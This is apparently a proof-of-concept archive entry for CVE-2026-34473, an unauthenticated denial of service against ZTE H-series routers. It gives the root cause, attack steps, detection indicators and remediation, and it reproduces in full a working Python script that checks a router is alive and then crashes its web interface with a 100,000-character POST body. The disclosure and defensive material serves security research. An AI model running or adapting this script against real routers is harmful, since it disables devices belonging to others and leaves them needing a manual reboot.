PoC Archive PoC Archive
High CVE-2026-34473 unpatched

ZTE Router Unauthenticated Oversized-POST Denial of Service (CVE-2026-34473)

by minanagehsalalma · 2026-07-05

Severity
High
CVE
CVE-2026-34473
Category
network
Affected product
ZTE H-series routers (17+ models, reported as affecting 140K+ devices)
Affected versions
Firmware using the cgilua/post.lua pre-auth request-body parser (ZTE stated the issue was resolved on 2021-03-23)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / Researcherminanagehsalalma
CVE / AdvisoryCVE-2026-34473
Categorynetwork
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsrouter, firmware, unauthenticated, denial-of-service, iot, zte, cgilua, web-interface
RelatedN/A

Affected Target

FieldValue
Software / SystemZTE H-series routers (17+ models, reported as affecting 140K+ devices)
Versions AffectedFirmware using the cgilua/post.lua pre-auth request-body parser (ZTE stated the issue was resolved on 2021-03-23)
Language / PlatformPython 3 / JavaScript / batch (PoC), target is embedded Lua-based (CGILua) router web interface
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2026-34473 is an unauthenticated denial-of-service condition in ZTE H-series routers’ web management interface, rooted in how the cgilua/post.lua pre-auth request-body parser handles oversized application/x-www-form-urlencoded POST bodies. Sending a single POST request with a large randomly-generated body (100,000–1,000,000 characters, depending on model) to the router’s root path causes the web interface to become unresponsive until the device is rebooted. The repo’s /poc directory contains the actual validation helpers used during disclosure: a browser-console trigger, Python senders for the oversized body, and simple reachability checkers — this is functioning DoS trigger code, not a documentation stub (confirmed by direct inspection of Checker.py/Fire&Forget.py/InBrowserConsole.js).


Vulnerability Details

Root Cause

The pre-auth cgilua/post.lua request-body parser does not bound or safely handle the size of an incoming application/x-www-form-urlencoded POST body, allowing an oversized body to exhaust resources or crash the parsing logic and render the web interface unresponsive.

Attack Vector

  1. Confirm the target router’s web interface is reachable (GET /).
  2. Send a single unauthenticated POST / request with Content-Type: application/x-www-form-urlencoded and a body consisting of a large randomly-generated string (100,000 to 1,000,000 characters depending on the model).
  3. Observe that the connection times out / the target stops responding to subsequent requests.
  4. The router’s web management interface remains unavailable until the device is manually rebooted.

Impact

Any unauthenticated attacker with network access to the router’s web interface can render it permanently unresponsive with a single crafted request, requiring a physical/manual reboot to restore service — affecting an estimated 140K+ internet-facing devices across 17+ models.


Environment / Lab Setup

Target:   ZTE H-series router web interface (cgilua/post.lua pre-auth parser)
Attacker: Python 3 with `requests`, or a browser console / curl for the lighter-weight trigger

Proof of Concept

PoC Script

See Checker.py, Fire&Forget.py, InBrowserConsole.js, and sanitized-request-shape.txt in this folder.

1
2
python3 Checker.py <target-ip> http
python3 "Fire&Forget.py"

Checker.py verifies the target is reachable, then sends a 100,000-character random-body POST and reports whether the target stopped responding (i.e., is vulnerable). Fire&Forget.py sends a heavier 1,000,000-character body variant needed by some models. InBrowserConsole.js is the equivalent trigger for use directly from a browser’s developer console against the current page’s origin.


Detection & Indicators of Compromise

Signs of compromise:

  • A single abnormally large application/x-www-form-urlencoded POST request to the router root path immediately preceding an outage
  • Router web interface becoming completely unresponsive with no corresponding configuration change or reboot event
  • Repeated externally-sourced connectivity/reachability probes (e.g., GET /) shortly before the oversized POST

Remediation

ActionDetail
Primary fixZTE has stated the issue was resolved on 2021-03-23; verify and apply the latest available firmware for the affected model
Interim mitigationRestrict access to the router’s web management interface to trusted LAN clients only, disable WAN-facing administration, and deploy a reverse proxy/WAF that enforces request body size limits in front of the interface where feasible

References


Notes

Mirrored from https://github.com/minanagehsalalma/cve-2026-34473-unauthenticated-dos-zte-routers on 2026-07-05. The upstream repository is bulked out with an HTML/CSS “documentation site” (index.html, assets/) — only the functional /poc directory scripts and their accompanying notes were mirrored here.

Checker.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import random
import string
import sys
import urllib3
import requests


urllib3.disable_warnings()


def attack(target, porot):

    url = f"{porot}://{target}/"
    try:
        print("[+] Check if the target is alive")
        check = requests.get(url, timeout=10, verify=False)
        if check.status_code == 200 or 301 or 302 or 303:
            print("[+] Target is alive")
            print("[+] Sending your request...")
            create = string.ascii_uppercase
            payload = ''.join(random.choice(create) for i in range(100000))
            Headers = {"Connection": "close",
                       "Content-Type": "application/x-www-form-urlencoded"}
            Data = f"{payload}"
            try:
                att = requests.post(url, headers=Headers, data=Data, verify=False, timeout=5)
                print("[-] Target is not Vulnerable")
                sys.exit()
            except requests.exceptions.Timeout:
                print("[+] Target vulnerable and dead now")


        else:
            print("[-] Your Target is not Alive")
    except Exception as error:
        print("[-]", error)



try:
    if sys.argv[2] == "http" or "https":
        attack(sys.argv[1], sys.argv[2])
    else:
        print("[-] Please enter a valid protocol (http or https)")

except IndexError:
    print("[-] Please Set your target \n ex: exploit.py target protocol")